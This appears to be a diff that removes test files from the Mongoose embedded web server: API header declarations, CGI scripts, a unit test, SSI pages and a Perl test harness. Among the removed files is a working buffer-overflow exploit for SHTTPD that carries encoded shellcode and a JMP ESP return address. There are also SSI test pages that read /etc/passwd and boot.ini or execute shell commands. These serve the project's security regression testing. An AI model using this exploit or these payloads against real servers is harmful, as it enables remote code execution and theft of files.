int mg_modify_passwords_file(const char *passwords_file_name,
|
||||
const char *domain,
|
||||
const char *user,
|
||||
const char *password);
|
||||
size_t mg_websocket_write(struct mg_connection *, int opcode,
|
||||
const char *data, size_t data_len);
|
||||
size_t mg_websocket_printf(struct mg_connection* conn, int opcode,
|
||||
const char *fmt, ...);
|
||||
|
||||
void mg_send_file(struct mg_connection *, const char *path);
|
||||
|
||||
// Return information associated with the request.
|
||||
struct mg_request_info *mg_get_request_info(struct mg_connection *);
|
||||
|
||||
|
||||
// Send data to the client.
|
||||
// Return:
|
||||
// 0 when the connection has been closed
|
||||
// -1 on error
|
||||
// number of bytes written on success
|
||||
int mg_write(struct mg_connection *, const void *buf, size_t len);
|
||||
|
||||
|
||||
// Send data to the browser using printf() semantics.
|
||||
//
|
||||
// Works exactly like mg_write(), but allows to do message formatting.
|
||||
// Below are the macros for enabling compiler-specific checks for
|
||||
// printf-like arguments.
|
||||
|
||||
#undef PRINTF_FORMAT_STRING
|
||||
#if _MSC_VER >= 1400
|
||||
#include <sal.h>
|
||||
#if _MSC_VER > 1400
|
||||
#define PRINTF_FORMAT_STRING(s) _Printf_format_string_ s
|
||||
#else
|
||||
#define PRINTF_FORMAT_STRING(s) __format_string s
|
||||
#endif
|
||||
#else
|
||||
#define PRINTF_FORMAT_STRING(s) s
|
||||
#endif
|
||||
|
||||
#ifdef __GNUC__
|
||||
#define PRINTF_ARGS(x, y) __attribute__((format(printf, x, y)))
|
||||
#else
|
||||
#define PRINTF_ARGS(x, y)
|
||||
#endif
|
||||
|
||||
int mg_printf(struct mg_connection *,
|
||||
PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(2, 3);
|
||||
|
||||
|
||||
// Send contents of the entire file together with HTTP headers.
|
||||
void mg_send_file(struct mg_connection *conn, const char *path);
|
||||
|
||||
|
||||
// Read data from the remote end, return number of bytes read.
|
||||
int mg_read(struct mg_connection *, void *buf, size_t len);
|
||||
|
||||
|
||||
// Get the value of particular HTTP header.
|
||||
//
|
||||
// This is a helper function. It traverses request_info->http_headers array,
|
||||
// and if the header is present in the array, returns its value. If it is
|
||||
// not present, NULL is returned.
|
||||
const char *mg_get_header(const struct mg_connection *, const char *name);
|
||||
const char *mg_get_mime_type(const char *name, const char *default_mime_type);
|
||||
int mg_get_var(const struct mg_connection *conn, const char *var_name,
|
||||
char *buf, size_t buf_len);
|
||||
int mg_parse_header(const char *hdr, const char *var_name, char *buf, size_t);
|
||||
int mg_parse_multipart(const char *buf, int buf_len,
|
||||
char *var_name, int var_name_len,
|
||||
char *file_name, int file_name_len,
|
||||
const char **data, int *data_len);
|
||||
|
||||
// Utility functions
|
||||
void *mg_start_thread(void *(*func)(void *), void *param);
|
||||
char *mg_md5(char buf[33], ...);
|
||||
int mg_authorize_digest(struct mg_connection *c, FILE *fp);
|
||||
int mg_url_encode(const char *src, size_t s_len, char *dst, size_t dst_len);
|
||||
int mg_url_decode(const char *src, int src_len, char *dst, int dst_len, int);
|
||||
int mg_terminate_ssl(struct mg_connection *c, const char *cert);
|
||||
|
||||
// Get a value of particular form variable.
|
||||
//
|
||||
// Parameters:
|
||||
// data: pointer to form-uri-encoded buffer. This could be either POST data,
|
||||
// or request_info.query_string.
|
||||
// data_len: length of the encoded data.
|
||||
// var_name: variable name to decode from the buffer
|
||||
// dst: destination buffer for the decoded variable
|
||||
// dst_len: length of the destination buffer
|
||||
//
|
||||
// Return:
|
||||
// On success, length of the decoded variable.
|
||||
// On error:
|
||||
// -1 (variable not found).
|
||||
// -2 (destination buffer is NULL, zero length or too small to hold the decoded variable).
|
||||
//
|
||||
// Destination buffer is guaranteed to be '\0' - terminated if it is not
|
||||
// NULL or zero length.
|
||||
int mg_get_var(const char *data, size_t data_len,
|
||||
const char *var_name, char *dst, size_t dst_len);
|
||||
|
||||
// Fetch value of certain cookie variable into the destination buffer.
|
||||
//
|
||||
// Destination buffer is guaranteed to be '\0' - terminated. In case of
|
||||
// failure, dst[0] == '\0'. Note that RFC allows many occurrences of the same
|
||||
// parameter. This function returns only first occurrence.
|
||||
//
|
||||
// Return:
|
||||
// On success, value length.
|
||||
// On error:
|
||||
// -1 (either "Cookie:" header is not present at all or the requested parameter is not found).
|
||||
// -2 (destination buffer is NULL, zero length or too small to hold the value).
|
||||
int mg_get_cookie(const struct mg_connection *,
|
||||
const char *cookie_name, char *buf, size_t buf_len);
|
||||
|
||||
|
||||
// Connect to the remote web server.
|
||||
// Return:
|
||||
// On success, valid pointer to the new connection
|
||||
// On error, NULL
|
||||
struct mg_connection *mg_connect(struct mg_context *ctx,
|
||||
const char *host, int port, int use_ssl);
|
||||
|
||||
|
||||
// Close the connection opened by mg_connect().
|
||||
void mg_close_connection(struct mg_connection *conn);
|
||||
|
||||
|
||||
// Download given URL to a given file.
|
||||
// url: URL to download
|
||||
// path: file name where to save the data
|
||||
// request_info: pointer to a structure that will hold parsed reply headers
|
||||
// buf, bul_len: a buffer for the reply headers
|
||||
// Return:
|
||||
// On error, NULL
|
||||
// On success, opened file stream to the downloaded contents. The stream
|
||||
// is positioned to the end of the file. It is the user's responsibility
|
||||
// to fclose() the opened file stream.
|
||||
FILE *mg_fetch(struct mg_context *ctx, const char *url, const char *path,
|
||||
char *buf, size_t buf_len, struct mg_request_info *request_info);
|
||||
|
||||
|
||||
// File upload functionality. Each uploaded file gets saved into a temporary
|
||||
// file and MG_UPLOAD event is sent.
|
||||
// Return number of uploaded files.
|
||||
int mg_upload(struct mg_connection *conn, const char *destination_dir);
|
||||
|
||||
|
||||
// Convenience function -- create detached thread.
|
||||
// Return: 0 on success, non-0 on error.
|
||||
typedef void * (*mg_thread_func_t)(void *);
|
||||
int mg_start_thread(mg_thread_func_t f, void *p);
|
||||
|
||||
|
||||
// Return builtin mime type for the given file name.
|
||||
// For unrecognized extensions, "text/plain" is returned.
|
||||
const char *mg_get_builtin_mime_type(const char *file_name);
|
||||
|
||||
|
||||
// Return Mongoose version.
|
||||
const char *mg_version(void);
|
||||
|
||||
|
||||
// MD5 hash given strings.
|
||||
// Buffer 'buf' must be 33 bytes long. Varargs is a NULL terminated list of
|
||||
// ASCIIz strings. When function returns, buf will contain human-readable
|
||||
// MD5 hash. Example:
|
||||
// char buf[33];
|
||||
// mg_md5(buf, "aa", "bb", NULL);
|
||||
void mg_md5(char buf[33], ...);
|
||||
// Templates support
|
||||
struct mg_expansion {
|
||||
const char *keyword;
|
||||
void (*handler)(struct mg_connection *);
|
||||
};
|
||||
void mg_template(struct mg_connection *, const char *text,
|
||||
struct mg_expansion *expansions);
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
abc123
|
||||
@@ -1,28 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
|
||||
my $num_flags = @flags;
|
||||
|
||||
sub fail {
|
||||
print "FAILED: @_\n";
|
||||
exit 1;
|
||||
}
|
||||
|
||||
my $platform = $ARGV[0] || "linux";
|
||||
|
||||
for (my $i = 0; $i < 2 ** $num_flags; $i++) {
|
||||
my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
|
||||
my @combination = ();
|
||||
for (my $j = 0; $j < $num_flags; $j++) {
|
||||
push @combination, $flags[$j] if substr($bitmask, $j, 1);
|
||||
}
|
||||
my $defines = join(" ", map { "-D$_" } @combination);
|
||||
my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
|
||||
system($cmd) == 0 or fail "build failed: $_";
|
||||
print "Build succeeded, flags: [$defines]\n";
|
||||
system("perl test/test.pl basic_tests >/dev/null") == 0
|
||||
or fail "basic tests";
|
||||
print "Basic tests: OK\n";
|
||||
}
|
||||
|
||||
print "PASS: All builds passed!\n";
|
||||
@@ -1,5 +0,0 @@
|
||||
#!/bin/sh
|
||||
|
||||
echo "echoing bad headers: server must report status 500"
|
||||
exec 1>&2
|
||||
echo shit!!!
|
||||
@@ -1,3 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
print "Status: 123 Please pass me to the client\r\n\r\n";
|
||||
-182
@@ -1,182 +0,0 @@
|
||||
// Copyright (c) 2004-2009 Sergey Lyubka
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
// THE SOFTWARE.
|
||||
//
|
||||
// Unit test for the mongoose web server. Tests embedded API.
|
||||
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#ifndef _WIN32
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include "mongoose.h"
|
||||
|
||||
#if !defined(LISTENING_PORT)
|
||||
#define LISTENING_PORT "23456"
|
||||
#endif
|
||||
|
||||
static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
|
||||
"Content-Type: text/plain\r\n"
|
||||
"Connection: close\r\n\r\n";
|
||||
|
||||
static void test_get_var(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
char *var, *buf;
|
||||
size_t buf_len;
|
||||
const char *cl;
|
||||
int var_len;
|
||||
|
||||
mg_printf(conn, "%s", standard_reply);
|
||||
|
||||
buf_len = 0;
|
||||
var = buf = NULL;
|
||||
cl = mg_get_header(conn, "Content-Length");
|
||||
mg_printf(conn, "cl: %p\n", cl);
|
||||
if ((!strcmp(ri->request_method, "POST") ||
|
||||
!strcmp(ri->request_method, "PUT"))
|
||||
&& cl != NULL) {
|
||||
buf_len = atoi(cl);
|
||||
buf = malloc(buf_len);
|
||||
/* Read in two pieces, to test continuation */
|
||||
if (buf_len > 2) {
|
||||
mg_read(conn, buf, 2);
|
||||
mg_read(conn, buf + 2, buf_len - 2);
|
||||
} else {
|
||||
mg_read(conn, buf, buf_len);
|
||||
}
|
||||
} else if (ri->query_string != NULL) {
|
||||
buf_len = strlen(ri->query_string);
|
||||
buf = malloc(buf_len + 1);
|
||||
strcpy(buf, ri->query_string);
|
||||
}
|
||||
var = malloc(buf_len + 1);
|
||||
var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
|
||||
mg_printf(conn, "Value: [%s]\n", var);
|
||||
mg_printf(conn, "Value size: [%d]\n", var_len);
|
||||
free(buf);
|
||||
free(var);
|
||||
}
|
||||
|
||||
static void test_get_header(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
const char *value;
|
||||
int i;
|
||||
|
||||
mg_printf(conn, "%s", standard_reply);
|
||||
printf("HTTP headers: %d\n", ri->num_headers);
|
||||
for (i = 0; i < ri->num_headers; i++) {
|
||||
printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
|
||||
}
|
||||
|
||||
value = mg_get_header(conn, "Host");
|
||||
if (value != NULL) {
|
||||
mg_printf(conn, "Value: [%s]", value);
|
||||
}
|
||||
}
|
||||
|
||||
static void test_get_request_info(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
int i;
|
||||
|
||||
mg_printf(conn, "%s", standard_reply);
|
||||
|
||||
mg_printf(conn, "Method: [%s]\n", ri->request_method);
|
||||
mg_printf(conn, "URI: [%s]\n", ri->uri);
|
||||
mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
|
||||
|
||||
for (i = 0; i < ri->num_headers; i++) {
|
||||
mg_printf(conn, "HTTP header [%s]: [%s]\n",
|
||||
ri->http_headers[i].name,
|
||||
ri->http_headers[i].value);
|
||||
}
|
||||
|
||||
mg_printf(conn, "Query string: [%s]\n",
|
||||
ri->query_string ? ri->query_string: "");
|
||||
mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
|
||||
mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
|
||||
mg_printf(conn, "Remote user: [%s]\n",
|
||||
ri->remote_user ? ri->remote_user : "");
|
||||
}
|
||||
|
||||
static void test_error(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
int status = (int) ri->ev_data;
|
||||
mg_printf(conn, "HTTP/1.1 %d XX\r\n"
|
||||
"Conntection: close\r\n\r\n", status);
|
||||
mg_printf(conn, "Error: [%d]", status);
|
||||
}
|
||||
|
||||
static void test_post(struct mg_connection *conn,
|
||||
const struct mg_request_info *ri) {
|
||||
const char *cl;
|
||||
char *buf;
|
||||
int len;
|
||||
|
||||
mg_printf(conn, "%s", standard_reply);
|
||||
if (strcmp(ri->request_method, "POST") == 0 &&
|
||||
(cl = mg_get_header(conn, "Content-Length")) != NULL) {
|
||||
len = atoi(cl);
|
||||
if ((buf = malloc(len)) != NULL) {
|
||||
mg_write(conn, buf, len);
|
||||
free(buf);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static const struct test_config {
|
||||
enum mg_event event;
|
||||
const char *uri;
|
||||
void (*func)(struct mg_connection *, const struct mg_request_info *);
|
||||
} test_config[] = {
|
||||
{MG_NEW_REQUEST, "/test_get_header", &test_get_header},
|
||||
{MG_NEW_REQUEST, "/test_get_var", &test_get_var},
|
||||
{MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
|
||||
{MG_NEW_REQUEST, "/test_post", &test_post},
|
||||
{MG_HTTP_ERROR, "", &test_error},
|
||||
{0, NULL, NULL}
|
||||
};
|
||||
|
||||
static void *callback(enum mg_event event,
|
||||
struct mg_connection *conn) {
|
||||
const struct mg_request_info *request_info = mg_get_request_info(conn);
|
||||
int i;
|
||||
|
||||
for (i = 0; test_config[i].uri != NULL; i++) {
|
||||
if (event == test_config[i].event &&
|
||||
(event == MG_HTTP_ERROR ||
|
||||
!strcmp(request_info->uri, test_config[i].uri))) {
|
||||
test_config[i].func(conn, request_info);
|
||||
return "processed";
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
struct mg_context *ctx;
|
||||
const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
|
||||
|
||||
ctx = mg_start(callback, NULL, options);
|
||||
pause();
|
||||
return 0;
|
||||
}
|
||||
@@ -1,46 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
use Cwd;
|
||||
use CGI;
|
||||
|
||||
use vars '%in';
|
||||
CGI::ReadParse();
|
||||
|
||||
print "Content-Type: text/html\r\n\r\n";
|
||||
|
||||
print "<pre>\n";
|
||||
foreach my $key (sort keys %ENV) {
|
||||
print "$key=$ENV{$key}\n";
|
||||
}
|
||||
|
||||
print "\n";
|
||||
|
||||
foreach my $key (sort keys %in) {
|
||||
print "$key=$in{$key}\n";
|
||||
}
|
||||
|
||||
print "\n";
|
||||
|
||||
print 'CURRENT_DIR=' . getcwd() . "\n";
|
||||
print "</pre>\n";
|
||||
|
||||
my $stuff = <<EOP ;
|
||||
<script language="javascript">
|
||||
function set_val() {
|
||||
}
|
||||
</script>
|
||||
<form method=get>
|
||||
<input type=hidden name=a>
|
||||
<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
|
||||
<input type=submit value=get>
|
||||
</form>
|
||||
|
||||
<form method=post>
|
||||
<input type=text name=b>
|
||||
<input type=submit value=post>
|
||||
</form>
|
||||
EOP
|
||||
|
||||
#system('some shit');
|
||||
|
||||
print $stuff;
|
||||
@@ -1,69 +0,0 @@
|
||||
#!/usr/bin/perl -w
|
||||
|
||||
# SHTTPD Buffer Overflow (POST)
|
||||
# Tested on SHTTPD 1.34 WinXP SP1 Hebrew
|
||||
# http://shttpd.sourceforge.net
|
||||
# Codded By SkOd, 05/10/2006
|
||||
# ISRAEL
|
||||
#
|
||||
# details:
|
||||
# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
|
||||
# EBX 00000004 , EIP 41414141 , EBP 41414141
|
||||
# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
|
||||
# ESP 009EFC08 ASCII 41,"AA...AAA"
|
||||
|
||||
|
||||
use IO::Socket;
|
||||
|
||||
sub fail(){
|
||||
syswrite STDOUT, "[-]Connect failed.\n";
|
||||
exit;
|
||||
}
|
||||
|
||||
sub header()
|
||||
{
|
||||
print("##################################\n");
|
||||
print("SHTTPD (POST) Buffer Overflow.\n");
|
||||
print("[http://shttpd.sourceforge.net]\n");
|
||||
print("Codded By SkOd, 05/10/2006\n");
|
||||
print("##################################\n");
|
||||
}
|
||||
|
||||
if (@ARGV < 1)
|
||||
{
|
||||
&header();
|
||||
print("Usage: Perl shttpd.pl [host]\n");
|
||||
exit;
|
||||
}
|
||||
|
||||
&header();
|
||||
$host=$ARGV[0];
|
||||
$port="80";
|
||||
$host=~ s/(http:\/\/)//eg;
|
||||
|
||||
#win32_exec- CMD=calc Size=160 (metasploit.com)
|
||||
$shell =
|
||||
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
|
||||
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
|
||||
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
|
||||
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
|
||||
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
|
||||
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
|
||||
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
|
||||
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
|
||||
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
|
||||
|
||||
|
||||
$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
|
||||
$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245
|
||||
|
||||
print length($buff) . "\n";
|
||||
|
||||
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
|
||||
syswrite STDOUT,"[+]Connected.\n";
|
||||
print $sock "POST /$buff HTTP/1.1\n";
|
||||
print $sock "HOST:$host\n\n";
|
||||
syswrite STDOUT,"[+]Done.\n";
|
||||
close($sock);
|
||||
|
||||
# milw0rm.com [2006-10-05]
|
||||
@@ -1,6 +0,0 @@
|
||||
#!/bin/sh
|
||||
|
||||
echo "Content-Type: text/plain"
|
||||
echo
|
||||
|
||||
echo $QUERY_STRING
|
||||
@@ -1 +0,0 @@
|
||||
simple text file
|
||||
@@ -1,40 +0,0 @@
|
||||
<html>
|
||||
<p>Prime numbers from 0 to 100, calculated by Lua:</p>
|
||||
<?
|
||||
|
||||
function is_prime(n)
|
||||
if n <= 0 then return false end
|
||||
if n <= 2 then return true end
|
||||
if (n % 2 == 0) then return false end
|
||||
for i = 3, n / 2, 2 do
|
||||
if (n % i == 0) then return false end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
for i = 1, 100 do
|
||||
if is_prime(i) then print('<span>' .. i .. '</span> ') end
|
||||
end
|
||||
|
||||
?>
|
||||
|
||||
<p>Reading POST data from Lua (click submit):</p>
|
||||
<form method="POST"><input type="text" name="t1"/><input type="submit"></form>
|
||||
|
||||
<pre>
|
||||
POST data: [<? post_data = read() print(post_data) ?>]
|
||||
request method: [<? print(request_info.request_method) ?>]
|
||||
IP/port: [<? print(request_info.remote_ip, ':', request_info.remote_port) ?>]
|
||||
URI: [<? print(request_info.uri) ?>]
|
||||
HTTP version [<? print(request_info.http_version) ?>]
|
||||
HEADERS:
|
||||
<?
|
||||
for name, value in pairs(request_info.http_headers) do
|
||||
print(name, ':', value, '\n')
|
||||
end
|
||||
?>
|
||||
|
||||
</pre>
|
||||
|
||||
|
||||
</html>
|
||||
@@ -1,3 +0,0 @@
|
||||
guest:mydomain.com:485264dcc977a1925370b89d516a1477
|
||||
Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
|
||||
|
||||
@@ -1,6 +0,0 @@
|
||||
#!/bin/sh
|
||||
|
||||
echo "Content-Type: text/plain"
|
||||
echo
|
||||
|
||||
echo "This is shell script CGI."
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include file="Makefile" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include virtual="embed.c" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#exec "ls -l" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#exec "dir /w" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include file="/etc/passwd" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,5 +0,0 @@
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include file="c:\boot.ini" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1,6 +0,0 @@
|
||||
|
||||
<html><pre>
|
||||
ssi_begin
|
||||
<!--#include "embed.c" -->
|
||||
ssi_end
|
||||
</pre></html>
|
||||
@@ -1 +0,0 @@
|
||||
<!--#include "ssi9.shtml" -->
|
||||
@@ -1,3 +0,0 @@
|
||||
ssi_begin
|
||||
<!--#include file="Makefile" -->
|
||||
ssi_end
|
||||
-534
@@ -1,534 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
# This script is used to test Mongoose web server
|
||||
# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
|
||||
|
||||
use IO::Socket;
|
||||
use File::Path;
|
||||
use strict;
|
||||
use warnings;
|
||||
#use diagnostics;
|
||||
|
||||
sub on_windows { $^O =~ /win32/i; }
|
||||
|
||||
my $port = 23456;
|
||||
my $pid = undef;
|
||||
my $num_requests;
|
||||
my $dir_separator = on_windows() ? '\\' : '/';
|
||||
my $copy_cmd = on_windows() ? 'copy' : 'cp';
|
||||
my $test_dir_uri = "test_dir";
|
||||
my $root = 'test';
|
||||
my $test_dir = $root . $dir_separator. $test_dir_uri;
|
||||
my $config = 'mongoose.conf';
|
||||
my $exe = '.' . $dir_separator . 'mongoose';
|
||||
my $embed_exe = '.' . $dir_separator . 'embed';
|
||||
my $unit_test_exe = '.' . $dir_separator . 'unit_test';
|
||||
my $exit_code = 0;
|
||||
|
||||
my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt",
|
||||
"$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a",
|
||||
"$root/myperl", $embed_exe, $unit_test_exe);
|
||||
|
||||
END {
|
||||
unlink @files_to_delete;
|
||||
kill_spawned_child();
|
||||
File::Path::rmtree($test_dir);
|
||||
exit $exit_code;
|
||||
}
|
||||
|
||||
sub fail {
|
||||
print "FAILED: @_\n";
|
||||
$exit_code = 1;
|
||||
exit 1;
|
||||
}
|
||||
|
||||
sub get_num_of_log_entries {
|
||||
open FD, "access.log" or return 0;
|
||||
my @lines = (<FD>);
|
||||
close FD;
|
||||
return scalar @lines;
|
||||
}
|
||||
|
||||
# Send the request to the 127.0.0.1:$port and return the reply
|
||||
sub req {
|
||||
my ($request, $inc, $timeout) = @_;
|
||||
my $sock = IO::Socket::INET->new(Proto=>"tcp",
|
||||
PeerAddr=>'127.0.0.1', PeerPort=>$port);
|
||||
fail("Cannot connect: $!") unless $sock;
|
||||
$sock->autoflush(1);
|
||||
foreach my $byte (split //, $request) {
|
||||
last unless print $sock $byte;
|
||||
select undef, undef, undef, .001 if length($request) < 256;
|
||||
}
|
||||
my ($out, $buf) = ('', '');
|
||||
eval {
|
||||
alarm $timeout if $timeout;
|
||||
$out .= $buf while (sysread($sock, $buf, 1024) > 0);
|
||||
alarm 0 if $timeout;
|
||||
};
|
||||
close $sock;
|
||||
|
||||
$num_requests += defined($inc) ? $inc : 1;
|
||||
my $num_logs = get_num_of_log_entries();
|
||||
|
||||
unless ($num_requests == $num_logs) {
|
||||
fail("Request has not been logged: [$request], output: [$out]");
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
# Send the request. Compare with the expected reply. Fail if no match
|
||||
sub o {
|
||||
my ($request, $expected_reply, $message, $num_logs) = @_;
|
||||
print "==> $message ... ";
|
||||
my $reply = req($request, $num_logs);
|
||||
if ($reply =~ /$expected_reply/s) {
|
||||
print "OK\n";
|
||||
} else {
|
||||
#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
|
||||
fail("Expected: [$expected_reply], got: [$reply]");
|
||||
}
|
||||
}
|
||||
|
||||
# Spawn a server listening on specified port
|
||||
sub spawn {
|
||||
my ($cmdline) = @_;
|
||||
print 'Executing: ', @_, "\n";
|
||||
if (on_windows()) {
|
||||
my @args = split /\s+/, $cmdline;
|
||||
my $executable = $args[0];
|
||||
$executable .= '.exe';
|
||||
Win32::Spawn($executable, $cmdline, $pid);
|
||||
die "Cannot spawn @_: $!" unless $pid;
|
||||
} else {
|
||||
unless ($pid = fork()) {
|
||||
exec $cmdline;
|
||||
die "cannot exec [$cmdline]: $!\n";
|
||||
}
|
||||
}
|
||||
sleep 1;
|
||||
}
|
||||
|
||||
sub write_file {
|
||||
open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
|
||||
binmode FD;
|
||||
print FD $_[1];
|
||||
close FD;
|
||||
}
|
||||
|
||||
sub read_file {
|
||||
open FD, $_[0] or fail "Cannot open $_[0]: $!";
|
||||
my @lines = <FD>;
|
||||
close FD;
|
||||
return join '', @lines;
|
||||
}
|
||||
|
||||
sub kill_spawned_child {
|
||||
if (defined($pid)) {
|
||||
kill(9, $pid);
|
||||
waitpid($pid, 0);
|
||||
}
|
||||
}
|
||||
|
||||
####################################################### ENTRY POINT
|
||||
|
||||
unlink @files_to_delete;
|
||||
$SIG{PIPE} = 'IGNORE';
|
||||
$SIG{ALRM} = sub { die "timeout\n" };
|
||||
#local $| =1;
|
||||
|
||||
# Make sure we export only symbols that start with "mg_", and keep local
|
||||
# symbols static.
|
||||
if ($^O =~ /darwin|bsd|linux/) {
|
||||
my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
|
||||
foreach (split /\n/, $out) {
|
||||
/T\s+_?mg_.+/ or fail("Exported symbol $_")
|
||||
}
|
||||
}
|
||||
|
||||
if (scalar(@ARGV) > 0 and $ARGV[0] eq 'embedded') {
|
||||
do_embedded_test();
|
||||
exit 0;
|
||||
}
|
||||
|
||||
if (scalar(@ARGV) > 0 and $ARGV[0] eq 'unit') {
|
||||
do_unit_test();
|
||||
exit 0;
|
||||
}
|
||||
|
||||
# Make sure we load config file if no options are given.
|
||||
# Command line options override config files settings
|
||||
write_file($config, "access_log_file access.log\nlistening_ports 12345\n");
|
||||
spawn("$exe -p $port");
|
||||
o("GET /test/hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
|
||||
unlink $config;
|
||||
kill_spawned_child();
|
||||
|
||||
# Spawn the server on port $port
|
||||
my $cmd = "$exe ".
|
||||
"-listening_ports $port ".
|
||||
"-access_log_file access.log ".
|
||||
"-error_log_file debug.log ".
|
||||
"-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
|
||||
"-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
|
||||
'-put_delete_passwords_file test/passfile ' .
|
||||
'-access_control_list -0.0.0.0/0,+127.0.0.1 ' .
|
||||
"-document_root $root ".
|
||||
"-hide_files_patterns **exploit.pl ".
|
||||
"-enable_keep_alive yes ".
|
||||
"-url_rewrite_patterns /aiased=/etc/,/ta=$test_dir";
|
||||
$cmd .= ' -cgi_interpreter perl' if on_windows();
|
||||
spawn($cmd);
|
||||
|
||||
o("GET /hello.txt HTTP/1.1\nConnection: close\nRange: bytes=3-50\r\n\r\n",
|
||||
'Content-Length: 15\s', 'Range past the file end');
|
||||
|
||||
o("GET /hello.txt HTTP/1.1\n\n GET /hello.txt HTTP/1.0\n\n",
|
||||
'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close',
|
||||
'Request pipelining', 2);
|
||||
|
||||
my $x = 'x=' . 'A' x (200 * 1024);
|
||||
my $len = length($x);
|
||||
o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x",
|
||||
'^HTTP/1.1 200 OK', 'Long POST');
|
||||
|
||||
# Try to overflow: Send very long request
|
||||
